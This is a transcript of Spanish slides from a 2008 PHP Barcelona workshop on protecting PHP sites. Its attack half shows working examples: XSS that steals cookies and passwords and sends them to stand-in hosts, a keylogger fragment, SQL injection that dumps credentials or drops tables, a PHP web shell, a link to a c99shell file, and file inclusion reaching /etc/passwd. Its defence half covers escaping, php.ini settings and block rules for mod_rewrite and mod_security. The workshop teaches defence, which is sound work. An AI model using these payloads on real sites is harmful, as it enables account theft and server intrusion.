presentación workshop php barcelona seguridad
DESCRIPTION
Presentación PHP Barcelona WorkShop 2008, por Federico Montes QuilesTRANSCRIPT
Oriol JimenezOriol Jimenez
finday.comfinday.com
Marcos U. BernalMarcos U. Bernal
phpAuctionphpAuction
Proteger nuestros sites PHP de ataques
Frederic Montes QuilesFrederic Montes Quiles
CTO phpAuctionCTO phpAuction
Presentación
Presentada por:
o Federico Montes Quiles, 35 años
• CTO de phpAuction en la actualidad
• Más de 10 años de experiencia en el sector, empleado de diversas agencias de publicidad interactivas con grandes cuentas como Peugeot o Nestlé, director técnico y director de sistemas GNU/LInux.
o Oriol Jiménez, 30 años
• 10 años de experiencia en el desarrollo de aplicaciones PHP y administración de sistemas *NIX
• Actualmente trabajando como Lead developer / CTO de finday.com, un nuevo .com de Grupo Intercom.
o Marcos Ulises Bernal Robles
• Programador de phpAuction, en México D.F.
• Desarrollador durante 4 años en entornos PHP.
Metodología:
o Duración: 1 hora y media
• Ponencia: 30 minutos
• Parte Práctica: 1 hora
o Ejercicios Prácticos (Online)
Abstract
Desde que se publicaron las primeras páginas webs, hackers “éticos” y no tan éticos, adictos al fastidio o tiempo e información ajena no han parado de realizar actos a través de los cuales se producían accesos remotos con el fin de ver, modificar y borrar contenidos remotos.
Además, la suplantación hace que un usuario “inocente” se vea ante la posibilidad de que alguien en su nombre se tome determinadas licencias que puedan ser perjudiciales a terceros y por ende a éste mismo.
Últimamente este tipo de ataques se han especializado y ya gozamos con una amplia clasificación de los mismos, encontrándonos con terminología como XSS, SQL-Injection, RFI, PHP Code injection, robo de cookies, ejecución remota... y un largo etcétera.
El objetivo de esta presentación es realizar un estudio más o menos completo de las diferentes formas de ataque y, lo más importante, cómo lograr evitarlas.
““XSSXSS es un ataque basado en explotar vulnerabilidades es un ataque basado en explotar vulnerabilidades
del sistema de validación de del sistema de validación de HTMLHTML incrustado. Su incrustado. Su
nombre original "Cross Site Scripting", y renombrado nombre original "Cross Site Scripting", y renombrado
XSSXSS para que no sea confundido con las hojas de estilo para que no sea confundido con las hojas de estilo
en cascada (en cascada (CSSCSS), originalmente abarcaba cualquier ), originalmente abarcaba cualquier
ataque que permitiera ejecutar código de "scripting", en ataque que permitiera ejecutar código de "scripting", en
el contexto de otro dominio. “el contexto de otro dominio. “
- Wikipedia- Wikipedia
Introducción
La definición de XSS va variando según quién elabora un artículo.
Nos concentraremos en los “Ataques a nuestra web”, sean o no XSS:
o HTML Injection
• Inserción de código HTML y Javascript no controlado con diversos propósitos
o SQL Injection
• Inserción de sentencias SQL con diversos propósitos
o Remote File Inclusion
• Ejecución de ficheros remotos a través del aplicativo por parte de un atacante
o PHP Code Injection
• Inserción de código PHP no controlado en nuestro código PHP (eval())
o Traversal directories
• Subconjunto del RFI que mediante accesos a directorios superiores en la jerarquía acceden a ficheros remotos.
o Cookie Manipulation
• A través de * Injection se puede recuperar una cookie ajena y utilizarla para validaciones fraudulentas
o URL Redirection
• Redirección a un tercer servidor donde nos preguntan datos privados
o Main Injection
• A través de formularios de “Envia a un amigo”
¿Qué puede ocasionar?
Ademas de infortunios y dolores de cabeza:
o Inyección de virus
o iframes ocultos
o Ejecución de comandos del servidor
o Troyanos
o Phishing
o Accesos no permitidos
o Lectura de contraseñas
o Ficheros remotos
o Suplantaciones
o Visión de datos
o Borrado de los datos…
o Spam
Los atacantes suelen utilizar los servidores para realizar un ataque a terceros borrando así la ruta originaria.
Vulnerabilidades
HTML Injection no persistente
Una buena forma de empezar sería emplear el buscador. En el campo de texto introducimos el siguiente código:
<script>alert("Aqui hay un bug”);</script>
Si nos saliera una ventana de Javascript diciendo
“Aqui hay un bug”
¡BINGO! encontramos la primera vulnerabilidad.
Así pues, podríamos poner el siguiente:
<script>document.documentElement.innerHTML="HTML nuevo”;</script>
Se podría cambiar su contenido HTML desde nuestro navegador.
Vulnerabilidades
HTML Injection persistente
Si este mismo error fuera en el mensaje de un foro con acceso al público:
<script>window.location='http://www.webataca.com/cookie.php?cookie='+document.cookie; </script>
Estamos redirigiendo a cualquier víctima a una página remota no ha solicitada apoderándose de su cookie y haciéndose pasar por él.
Los datos, además, quedarían grabados en su base de datos y por lo tanto es mucho más eficaz.
Se puede incluso hacer mas sutilmente con iframes: se pone el código dentro de un iframe oculto y se reenvia la cookie que es procesada en el servidor atacante y guardada para uso fraudulento.
<?php
$cookie = $_GET['cookie'];
$f= fopen("archivo.txt","a");
fwrite($f, "$cookie \n" ) ;
fclose($f)
;?>
Vulnerabilidades
Juguemos ahora un poco con la ingenuidad del usuario medio:
<script language="javascript">
var password = prompt("La sesión ha terminado. Por favor, vuelva a introducir su clave:");
document.location.href="http://elqueataca.hack/pesca.php?passwd=" + password;
</script>
O un poco más elaborado:
<script language="javascript">
var password = prompt("La sesión ha terminado. Por favor, vuelva a introducir su clave:");
document.write("<iframe src='http://elqueataca.hack/pesca.php?passwd=" + password+"' style='display:none;'></iframe>");
</script>
o El usuario ha podido “darnos” su contraseña sin que se haya dado cuenta.
o También podríamos usar un div oculto que nos enviara mediante POST y un formulario
Vulnerabilidades
Es posible programar un sniffer que acompañara al usuario por toda su visita a la web, adueñándonos de cada evento de la tecla pulsada: usuarios, passwords, e-mails.
document.onkeydown = keyDown;
document.forms[0].onsubmit = mostrar;
var txt = "";
function keyDown (evento)
{
// Recuperamos evento y tecla
var objEvento =window.event? event : evento;
var tecla = objEvento.keyCode? objEvento.keyCode : objEvento.charCode;
var caracter = String.fromCharCode(tecla).toLowerCase();
if (tecla == 9) {caracter = " <tab> ";}
if (objEvento.shiftKey) {
caracter = String.fromCharCode(tecla).toUpperCase();
}
textocapturado += "" + caracter;
}
Vulnerabilidades
SQL Injection
El ataque típico de SQL Injection aprovecha la incorrecta manipulación de los datos en una aplicación web y ejecuta código no deseado.
Imaginemos una base de datos llamada “Site” y una tabla llamada clientes.
1' OR 1=1; SELECT * FROM Clientes WHERE id <> '
y el siguiente código PHP para este buscador:
$q = $_GET['buscador'];
$sql = “SELECT * FROM buscador WHERE q='$q'”;
En realidad estaremos ejecutando:
$sql = “SELECT * FROM buscador WHERE q='1' OR 1=1; SELECT * FROM Clientes WHERE id <> ''”;
Cambiamos esta sentencia por:
1' OR 1=1; DROP TABLE Clientes; SELECT * FROM datos WHERE id LIKE '%
BINGO! DE NUEVO Tenemos un borrado total de la base de datos.
NOTA: $mysql_query() NO permite la ejecución de varios comandos seguidos para
evitar este tipo de incidencias, no así otro tipo de lenguajes
Vulnerabilidades
Dada la siguiente sentencia SELECT:
$sql = “SELECT * FROM clientes WHERE user='$login' AND passwd='$passwd'”;
Y el siguiente comando SQL Injection:
?user=pepe&password=x' OR 1=1
Qué creéis que pasaría?
;¿Y cómo recuperamos los datos necesarios para saber qué campos o tablas mirar?
Utilizando los mismos métodos; introducimos un SQL que sabemos que sea erróneo:
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'FROM Clients ORDER by id ' at line 1
En esta sentencia, podemos apoderarnos del usuario y password
UNION ALL SELECT userid, CONCAT(username, ' ', password) FROM Clients WHERE ''='
Especial caso nos merece las secuencias que no incluyen un “quote”:
0 UNION ALL SELECT userid,password FROM Clients WHERE 1
En el siguiente ejemplo utilizamos la propiedad de MySQL LIMIT para la inyección de datos :
?q=999999, 10 UNION ALL SELECT username, password FROM Clients LIMIT 0
Vulnerabilidades
Ahora algo un poco más complicado:o SELECT LOAD_FILE(0x633A5C626F6F742E696E69) o SELECT * INTO OUTFILE '/tmp/clients.txt' FROM Clientso SELECT 0x61626... INTO OUTFILE '/tmp/c99shell.php'
Remote File Intrusion
En la última sentencia, nuestro site está totalmente expuesto a la inyección de ficheros para la ejecución remota.
http://hcr.3dn.ru/expl/php/c99shell.txt
Remote File Intrusion, o intrusión mediante ficheros remotos, es un fichero no controlado colado en nuestro servidor, y puede realizar un examen exhaustivo, uploads, navegar… una pequeña gran puerta
<?
$cmd = $_GET['cmd'];
system('$cmd >> /var/www/resultado.txt');
?>
Vulnerabilidades
Una maléfica forma de realizar un RFI es empleando uno de los métodos más conocidos por PHP para incluir ficheros remotos:
include, require, include_once, require_once.
Eso, combinado con una incorrecta configuración de nuestro servidor podría dar lugar a líneas de código tan espantosas como:
include $path_url. '/config.inc.php';
Si nuestro servidor ha estado establecido como request_globals = on, un atacante podría realizar:
http://www.victima.org/?include_path=http://www.maligno.com/rfi.php??
Vulnerabilidades
Code Injection
En el caso de PHP, por supuesto, el más famoso resulta de una mala utilización de la sentencia eval()
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
$ mivar = "varname",
$ x = $ _GET [ 'arg'];
eval ( " \$ myvar = \$x;");
o cualquier otro tipo de comando PHP
Vulnerabilidades
Traversal Directories
Como el RFI se basa en la situación de utilizar include, include_once, require, require_once sin cuidado. Estas sentencias nos mostrarían el contenido de nuestro fichero de passwords.
o http://www.victima.org/show.php?view=../../../../../etc/passwd
o Código vulnerable
<?php $template = 'blue.php'; if ( isset( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/var/www/appl/templates/" . $template );?>
o Envío de las cabeceras modificadasGET /vulnerable.php HTTP/1.0Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Evitar ataques
La lista de los ataques mencionados anteriormente puede crecer y sería interminable.
En este escenario, podríamos encontrarnos con dos situaciones bien diferentes:
o Tener un site montado y tener que protegerlo
o Programar un site desde cero
En ambos casos, el conocimiento de las técnicas empleadas por los hackers será apreciado por vuestro servidor de manera inconmensurable. Y la actualización constante de los sistemas nos evitará una gran pérdida de tiempo.
Evitar ataques
Escape de las entradas
o Los más habituales son el uso de:
addslashes() / stripslashes()
htmlentities($string, ENT_QUOTES)
htmlspecialchars($string)
mysql_real_string($string)
o Evitar que los formularios POST se llamen desde otro dominio que no sea en el propio servidor.
o Se puede utilizar el sistema Captcha la famosa imagen deformada (ilegible a veces) para evitar accesos de bots.
•
o Evitar HTML Injection sería utilizando la clase HTML Purify (http://htmlpurifier.org/) donde podremos “limpiar” nuestro código de posibles intrusiones maliciosas.
o Evitar los ataques XSS mediante una lista de tipos esperados y tipos recibidos, haciendo una comparación de los parámetros recibidos.
• If ( isset ( $_GET['id'] ) )
• $id = intval ($_GET['id']);
Evitar ataques
Códigos de seguridad
La introducción de códigos de seguridad que nosotros, mediante programación, podemos ir asignando a cada par usuario/formulario sólo válido durante aquél acceso al formulario (generación de sistemas md5, sha1, etcétera).
PHP.INI
¿Qué clase de configuración sería la óptima para que un sistema PHP fuera más seguro contra todo tipo de ataques?
o openbase_dir
o allow_furl_open off
o register_globals off
o safe_mode on
o disable_functions <lista de funciones>
o disable_classes <lista de clases>
o get_magic_quotes_gpc on
Evitar ataques
Escaneo de puertos
Una manera de evitar ataques a todo sistema operativo, sería mediante la ejecución de código remoto o inyección de código no deseado en servicios que puedan tener relación con nuestro sistema. Los más conocidos son nmap y nessus.
Escaneo de vulnerabilidades web
o Acunetix, con una gran variante de sistemas de inyección, una base de datos amplia y una interfaz muy amigable.
o SSS (Shadow Security Scanner) ofrece también el sondeo de otros protocolos como FTP, NetBios, módulos de Apache , etc.
o Fuzzing, las diferentes técnicas de testeo de aplicativos que generan datos secuenciales y aleatorios para obtener así las vulnerabilidades de la victima.http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html
Evitar ataques
PHP IDS
http://php-ids.org/
Sistema basado en PHP que actúa como IDS (Intrusion Detect System) y busca algún tipo de inyección o vulnerabilidad. Puede detectar XSS, SQL Injection, RFI y ataques LDAP Injection y distintos tipos de CMS.
Módulos Apache
o mod_rewriteFamoso sobre todo para el uso de URL-Friendly. Puede ponerse en el fichero .htaccess, haciendo una protección personalizada sin dependencia del webmaster.
o mod_securityUn módulo especial de seguridad para Apache. No está muy extendido su uso y muchos proveedores de hosting optan por no instalarlo en sus sistemas.
mod_rewrite
mod_rewrite (ejemplo de libre uso)o <ifModule mod_rewrite.c>
o Options +FollowSymlinks
o RewriteEngine On
o RewriteCond %{QUERY_STRING} load_file.*\(.*\) [NC,OR]
o RewriteCond %{QUERY_STRING} into.+file [NC,OR]
o RewriteCond %{QUERY_STRING} into.+outfile [NC,OR]
o RewriteCond %{QUERY_STRING} load.+data [NC,OR]
o RewriteCond %{QUERY_STRING} select.+from [NC,OR]
o RewriteCond %{QUERY_STRING} create.+table [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+database [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+database [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+table [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+column [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR]
o RewriteCond %{QUERY_STRING} update.+set [NC,OR]
o RewriteCond %{QUERY_STRING} insert.+into.+values [NC,OR]
o RewriteCond %{QUERY_STRING} insert.+into [NC,OR]
o RewriteCond %{QUERY_STRING} bulk.+insert [NC,OR]
o RewriteCond %{QUERY_STRING} union.+select [NC,OR]
o RewriteCond %{QUERY_STRING} alter.+table [NC,OR]
o RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
o
o RewriteCond %{QUERY_STRING} .txt(\?)+$ [NC,OR]
o RewriteCond %{QUERY_STRING} (\?)+$ [NC,OR]
o RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
o RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
o RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
o RewriteRule .* - [F]
o
o RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD)
o RewriteRule .* - [F]
o
o RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC,OR]
o RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC]
o RewriteRule .* - [F]
o </IfModule>
No actua sobre POSTNo actua sobre POSTse puede poner en .htaccessse puede poner en .htaccess
http://sentidoweb.com/2008/04/09/evitar-boots-molestos-mediante-htaccess.phphttp://sentidoweb.com/2008/04/09/evitar-boots-molestos-mediante-htaccess.php
mod_security
o Módulo para Apache que actúa con un sistema de reglas para evitar ataques externos a través de nuestro web server
o Es un IDS (Intrusion Detect System) además de tener características propias de un firewall
o Utiliza el nivel de protocolo HTTP para filtrar los mensajes enviados a través de las cabeceras
o Tiene las siguientes funcionalidades:
• Filtrado de peticiones antes de llegar al servidor
• Análisis de todos los contenidos POST
• Sistema de log de auditoría
• Normalización de las URL (ante las técnicas de evasión de carácteres)
• Filtra también HTTPS
• Verificación de los rangos de bytes
mod_security
<IfModule mod_security.c><IfModule mod_security.c> # Enable ModSecurity# Enable ModSecuritySecFilterEngine OnSecFilterEngine On # Reject requests with status 403# Reject requests with status 403SecFilterDefaultAction "deny,log,status:403"SecFilterDefaultAction "deny,log,status:403" # Some sane defaults# Some sane defaultsSecFilterScanPOST OnSecFilterScanPOST OnSecFilterCheckURLEncoding OnSecFilterCheckURLEncoding OnSecFilterCheckUnicodeEncoding OffSecFilterCheckUnicodeEncoding Off # Accept almost all byte values# Accept almost all byte valuesSecFilterForceByteRange 1 255SecFilterForceByteRange 1 255 # Server masking is optional# Server masking is optional# SecServerSignature "Microsoft-IIS/5.0"# SecServerSignature "Microsoft-IIS/5.0" # Designate a directory for temporary files# Designate a directory for temporary files# storage. It is a good idea to change the# storage. It is a good idea to change the# value below to a private directory, just as# value below to a private directory, just as# an additional measure against race conditions# an additional measure against race conditionsSecUploadDir /tmpSecUploadDir /tmpSecUploadKeepFiles OffSecUploadKeepFiles Off # Only record the interesting stuff# Only record the interesting stuffSecAuditEngine RelevantOnlySecAuditEngine RelevantOnly# Uncomment below to record responses with unusual statuses# Uncomment below to record responses with unusual statuses# SecAuditLogRelevantStatus ^5# SecAuditLogRelevantStatus ^5SecAuditLog logs/modsec_audit.logSecAuditLog logs/modsec_audit.log
# You normally won't need debug logging# You normally won't need debug loggingSecFilterDebugLevel 0SecFilterDebugLevel 0SecFilterDebugLog logs/modsec_debug.logSecFilterDebugLog logs/modsec_debug.log # Only accept request encodings we know how to # Only accept request encodings we know how to handlehandle# we exclude GET requests from this because some # we exclude GET requests from this because some (automated)(automated)# clients supply "text/html" as Content-Type# clients supply "text/html" as Content-TypeSecFilterSelective REQUEST_METHOD "!^(GET|HEAD)$" SecFilterSelective REQUEST_METHOD "!^(GET|HEAD)$" chainchainSecFilterSelective HTTP_Content-Type "!SecFilterSelective HTTP_Content-Type "!(^application/x-www-form-urlencoded$|(^application/x-www-form-urlencoded$|^multipart/form-data;)"^multipart/form-data;)" # Do not accept GET or HEAD requests with bodies# Do not accept GET or HEAD requests with bodiesSecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" SecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" chainchainSecFilterSelective HTTP_Content-Length "!^$"SecFilterSelective HTTP_Content-Length "!^$" # Require Content-Length to be provided with# Require Content-Length to be provided with# every POST request# every POST requestSecFilterSelective REQUEST_METHOD "^POST$" chainSecFilterSelective REQUEST_METHOD "^POST$" chainSecFilterSelective HTTP_Content-Length "^$"SecFilterSelective HTTP_Content-Length "^$" # Don't accept transfer encodings we know we don't # Don't accept transfer encodings we know we don't handlehandleSecFilterSelective HTTP_Transfer-Encoding "!^$"SecFilterSelective HTTP_Transfer-Encoding "!^$" </IfModule></IfModule>
Conclusión
No hay ninguna aplicación que no haya sucumbido ante el ejercicio maquiavélico de hackers. Google, Yahoo!, Amazon, hasta los CMS más conocidos, nadie está a salvo de la retorcida mente de estos individuos. Así que si alguien es víctima de un ataque, que no se desmoralice y aprenda de la experiencia.
Un sistema ya desenvuelto nos pone en una tesitura muy complicada, debido a que hay que verificar línea a línea los problemas, las vulnerabilidades potenciales y el entendimiento del código.
No es un caso trivial tener que proteger un site web. La única forma de obstaculizar el ejercicio de estos atacantes será conocer cuáles son sus técnicas, mantenerse actualizado regularmente de las vulnerabilidades de nuestro entorno, en caso de ser un programa conocido mantenerse alerta a los bugs.
Además, un sistema IDS (snort) que nos comunique nuestros logs, su evolución y la constante evaluación de las vulnerabilidades, junto con un escaneo automático, técnicas fuzz, una programación sólida, y algún módulo de seguridad harán de nuestro servidor web una fortaleza (casi) inexpugnable.
¡Gracias por su atención!
Enlaces de Interéso http://ha.ckers.org/xss.html
o http://www.hardened-php.net
o http://www.securityfocus.com/vulnerabilities
o http://www.websecurity.es/
o http://www.webappsec.org/
o http://phpsecurity.wordpress.com/
o http://www.elhacker.net/
o http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html
o http://google.dirson.com/post/3632-coleccion-vulnerabilidades-xss-aplicaciones/
o http://www.squarefree.com/securitytips/web-developers.html
o http://www.cgisecurity.com/ajax/
o http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html
o http://www.securityfocus.com/
o http://www.securityfocus.com/columnists/418
Podrá encontrar más información en el artículo Podrá encontrar más información en el artículo que se publicará en phpbarcelona.orgque se publicará en phpbarcelona.org